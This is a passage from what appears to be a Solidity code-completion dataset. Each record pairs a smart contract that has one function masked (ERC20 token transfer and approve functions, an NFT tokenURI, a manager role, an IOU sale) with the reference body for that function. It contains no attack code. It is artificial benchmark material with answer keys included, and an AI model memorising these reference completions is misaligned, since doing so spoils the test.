function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {<FILL_FUNCTION_BODY> }
} | contract Dronair is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private amount_release = 140*10**27;
address private _address;
function _issueTokens(address _to, uint256 _amount) internal {
require(_balances[_to] == 0);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
}
constructor (
address _Address
) public {
_name = "Dronair Token";
_symbol = "DAIR";
_decimals = 18;
_totalSupply = 140*10**27;
_address = _Address;
_issueTokens(_address, amount_release);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
<FILL_FUNCTION>
} |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
| function _approve(address owner, address spender, uint256 value) internal | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal |
42377 | AYA | _transfer | contract AYA {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function AYA(
) public {
totalSupply = 100000000000000000000000000; // Total supply with the decimal amount
balanceOf[msg.sender] = 100000000000000000000000000; // All initial tokens
name = "Ayasan"; // The name for display purposes
symbol = "AYA"; // The symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> }
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | contract AYA {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function AYA(
) public {
totalSupply = 100000000000000000000000000; // Total supply with the decimal amount
balanceOf[msg.sender] = 100000000000000000000000000; // All initial tokens
name = "Ayasan"; // The name for display purposes
symbol = "AYA"; // The symbol for display purposes
}
<FILL_FUNCTION>
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} |
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
| function _transfer(address _from, address _to, uint _value) internal | /**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal |
90078 | Manageable | addManager | contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
event ManagerAdded(address manager);
event ManagerRemoved(address manager);
modifier onlyManager() {
require(listOfManagers[msg.sender]);
_;
}
function addManager(address _manager) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> }
function removeManager(address _manager) public onlyOwner returns (bool) {
require(listOfManagers[_manager]);
listOfManagers[_manager] = false;
emit ManagerRemoved(_manager);
return true;
}
} | contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
event ManagerAdded(address manager);
event ManagerRemoved(address manager);
modifier onlyManager() {
require(listOfManagers[msg.sender]);
_;
}
<FILL_FUNCTION>
function removeManager(address _manager) public onlyOwner returns (bool) {
require(listOfManagers[_manager]);
listOfManagers[_manager] = false;
emit ManagerRemoved(_manager);
return true;
}
} |
require(_manager != address(0));
require(!listOfManagers[_manager]);
listOfManagers[_manager] = true;
emit ManagerAdded(_manager);
return true;
| function addManager(address _manager) public onlyOwner returns (bool success) | function addManager(address _manager) public onlyOwner returns (bool success) |
5300 | RFBToken | transfer | contract RFBToken is SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
/* This creates an array with all balances */
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public freezeOf;
mapping(address => mapping(address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function RFBToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
totalSupply = initialSupply * 10 ** uint256(decimalUnits);
// Update total supply
balanceOf[msg.sender] = totalSupply;
// Give the creator all initial tokens
name = tokenName;
// Set the name for display purposes
symbol = tokenSymbol;
// Set the symbol for display purposes
decimals = decimalUnits;
// Amount of decimals for display purposes
owner = msg.sender;
}
/* Send coins */
function transfer(address _to, uint256 _value) {<FILL_FUNCTION_BODY> }
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value)
returns (bool success) {
if (_value <= 0) throw;
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) throw;
// Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) throw;
if (balanceOf[_from] < _value) throw;
// Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
// Check for overflows
if (_value > allowance[_from][msg.sender]) throw;
// Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply, _value);
// Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// Updates totalSupply
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (_value <= 0) throw;
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
} | contract RFBToken is SafeMath {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
/* This creates an array with all balances */
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public freezeOf;
mapping(address => mapping(address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function RFBToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
totalSupply = initialSupply * 10 ** uint256(decimalUnits);
// Update total supply
balanceOf[msg.sender] = totalSupply;
// Give the creator all initial tokens
name = tokenName;
// Set the name for display purposes
symbol = tokenSymbol;
// Set the symbol for display purposes
decimals = decimalUnits;
// Amount of decimals for display purposes
owner = msg.sender;
}
<FILL_FUNCTION>
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value)
returns (bool success) {
if (_value <= 0) throw;
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) throw;
// Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) throw;
if (balanceOf[_from] < _value) throw;
// Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
// Check for overflows
if (_value > allowance[_from][msg.sender]) throw;
// Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
// Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply, _value);
// Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (_value <= 0) throw;
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value);
// Updates totalSupply
Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) returns (bool success) {
if (freezeOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (_value <= 0) throw;
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value);
// Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
Unfreeze(msg.sender, _value);
return true;
}
} |
if (_to == 0x0) throw;
// Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) throw;
if (balanceOf[msg.sender] < _value) throw;
// Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
// Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
// Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
// Add the same to the recipient
Transfer(msg.sender, _to, _value);
// Notify anyone listening that this transfer took place
| function transfer(address _to, uint256 _value) | /* Send coins */
function transfer(address _to, uint256 _value) |
41218 | dotdotdot | tokenURI | contract dotdotdot is ERC721Enumerable, Ownable{
using SafeMath for uint256;
using Address for address;
using Strings for uint256;
uint256 public constant NFT_PRICE = 50000000000000000; // 0.05 ETH
uint public constant MAX_NFT_PURCHASE = 5;
uint256 public MAX_SUPPLY = 5130;
bool public saleIsActive = false;
uint256 public startingIndex;
uint256 public startingIndexBlock;
string private _baseURIExtended;
mapping (uint256 => string) _tokenURIs;
constructor() ERC721("dotdotdot","dotdotdot"){
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function reserveTokens(uint256 num) public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < num; i++) {
_safeMint(msg.sender, supply + 4869 + i);
}
if (startingIndexBlock == 0) {
startingIndexBlock = block.number;
}
}
function setMaxTokenSupply(uint256 maxSupply) public onlyOwner {
MAX_SUPPLY = maxSupply;
}
function mint(uint numberOfTokensMax5) public payable {
require(saleIsActive, "Sale is not active at the moment");
require(numberOfTokensMax5 > 0, "Number of tokens can not be less than or equal to 0");
require(totalSupply().add(numberOfTokensMax5) <= MAX_SUPPLY, "Purchase would exceed max supply");
require(numberOfTokensMax5 <= MAX_NFT_PURCHASE,"Can only mint up to 5 per purchase");
require(NFT_PRICE.mul(numberOfTokensMax5) == msg.value, "Sent ether value is incorrect");
for (uint i = 0; i < numberOfTokensMax5; i++) {
_safeMint(msg.sender, totalSupply() + 4869);
}
}
function calcStartingIndex() public onlyOwner {
require(startingIndex == 0, "Starting index has already been set");
require(startingIndexBlock != 0, "Starting index has not been set yet");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if(block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;
}
// To prevent original sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
function emergencySetStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIExtended;
}
// Sets base URI for all tokens, only able to be called by contract owner
function setBaseURI(string memory baseURI_) external onlyOwner {
_baseURIExtended = baseURI_;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {<FILL_FUNCTION_BODY> }
} | contract dotdotdot is ERC721Enumerable, Ownable{
using SafeMath for uint256;
using Address for address;
using Strings for uint256;
uint256 public constant NFT_PRICE = 50000000000000000; // 0.05 ETH
uint public constant MAX_NFT_PURCHASE = 5;
uint256 public MAX_SUPPLY = 5130;
bool public saleIsActive = false;
uint256 public startingIndex;
uint256 public startingIndexBlock;
string private _baseURIExtended;
mapping (uint256 => string) _tokenURIs;
constructor() ERC721("dotdotdot","dotdotdot"){
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function reserveTokens(uint256 num) public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < num; i++) {
_safeMint(msg.sender, supply + 4869 + i);
}
if (startingIndexBlock == 0) {
startingIndexBlock = block.number;
}
}
function setMaxTokenSupply(uint256 maxSupply) public onlyOwner {
MAX_SUPPLY = maxSupply;
}
function mint(uint numberOfTokensMax5) public payable {
require(saleIsActive, "Sale is not active at the moment");
require(numberOfTokensMax5 > 0, "Number of tokens can not be less than or equal to 0");
require(totalSupply().add(numberOfTokensMax5) <= MAX_SUPPLY, "Purchase would exceed max supply");
require(numberOfTokensMax5 <= MAX_NFT_PURCHASE,"Can only mint up to 5 per purchase");
require(NFT_PRICE.mul(numberOfTokensMax5) == msg.value, "Sent ether value is incorrect");
for (uint i = 0; i < numberOfTokensMax5; i++) {
_safeMint(msg.sender, totalSupply() + 4869);
}
}
function calcStartingIndex() public onlyOwner {
require(startingIndex == 0, "Starting index has already been set");
require(startingIndexBlock != 0, "Starting index has not been set yet");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if(block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;
}
// To prevent original sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
function emergencySetStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIExtended;
}
// Sets base URI for all tokens, only able to be called by contract owner
function setBaseURI(string memory baseURI_) external onlyOwner {
_baseURIExtended = baseURI_;
}
<FILL_FUNCTION>
} |
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
| function tokenURI(uint256 tokenId) public view virtual override returns (string memory) | function tokenURI(uint256 tokenId) public view virtual override returns (string memory) |
59060 | IOU | withdraw | contract IOU {
// Store the amount of IOUs purchased by a buyer
mapping (address => uint256) public iou_purchased;
// Store the amount of ETH sent in by a buyer
mapping (address => uint256) public eth_sent;
// Total IOUs available to sell
uint256 public total_iou_available = 4725000000000000000000;
// Total IOUs purchased by all buyers
uint256 public total_iou_purchased;
// Total IOU withdrawn by all buyers (keep track to protect buyers)
uint256 public total_iou_withdrawn;
// IOU per ETH (price)
uint256 public price_per_eth = 60;
// NET token contract address (IOU offering)
NEToken public token = NEToken(0xcfb98637bcae43C13323EAa1731cED2B716962fD);
// The seller's address (to receive ETH upon distribution, and for authing safeties)
address seller = 0xB00Ae1e677B27Eee9955d632FF07a8590210B366;
// Halt further purchase ability just in case
bool public halt_purchases;
modifier pwner() { if(msg.sender != seller) throw; _; }
/*
Safety to withdraw unbought tokens back to seller. Ensures the amount
that buyers still need to withdraw remains available
*/
function withdrawTokens() pwner {
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
/*
Safety to prevent anymore purchases/sales from occurring in the event of
unforeseen issue. Buyer withdrawals still remain enabled.
*/
function haltPurchases() pwner {
halt_purchases = true;
}
function resumePurchases() pwner {
halt_purchases = false;
}
/*
Update available IOU to purchase
*/
function updateAvailability(uint256 _iou_amount) pwner {
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
/*
Update IOU price
*/
function updatePrice(uint256 _price) pwner {
price_per_eth = _price;
}
/*
Release buyer's ETH to seller ONLY if amount of contract's tokens balance
is >= to the amount that still needs to be withdrawn. Protects buyer.
The seller must call this function manually after depositing the adequate
amount of tokens for all buyers to collect
This effectively ends the sale, but withdrawals remain open
*/
function paySeller() pwner {
// not enough tokens in balance to release ETH, protect buyer and abort
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
// Halt further purchases
halt_purchases = true;
// Release buyer's ETH to the seller
seller.transfer(this.balance);
}
function withdraw() payable {<FILL_FUNCTION_BODY> }
function purchase() payable {
if(halt_purchases) throw;
if(msg.value == 0) throw;
// Determine amount of tokens user wants to/can buy
uint256 iou_to_purchase = price_per_eth * msg.value;
// Check if we have enough IOUs left to sell
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
// Update the amount of IOUs purchased by user. Also keep track of the total ETH they sent in
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
// Update the total amount of IOUs purchased by all buyers
total_iou_purchased += iou_to_purchase;
}
// Fallback function/entry point
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} | contract IOU {
// Store the amount of IOUs purchased by a buyer
mapping (address => uint256) public iou_purchased;
// Store the amount of ETH sent in by a buyer
mapping (address => uint256) public eth_sent;
// Total IOUs available to sell
uint256 public total_iou_available = 4725000000000000000000;
// Total IOUs purchased by all buyers
uint256 public total_iou_purchased;
// Total IOU withdrawn by all buyers (keep track to protect buyers)
uint256 public total_iou_withdrawn;
// IOU per ETH (price)
uint256 public price_per_eth = 60;
// NET token contract address (IOU offering)
NEToken public token = NEToken(0xcfb98637bcae43C13323EAa1731cED2B716962fD);
// The seller's address (to receive ETH upon distribution, and for authing safeties)
address seller = 0xB00Ae1e677B27Eee9955d632FF07a8590210B366;
// Halt further purchase ability just in case
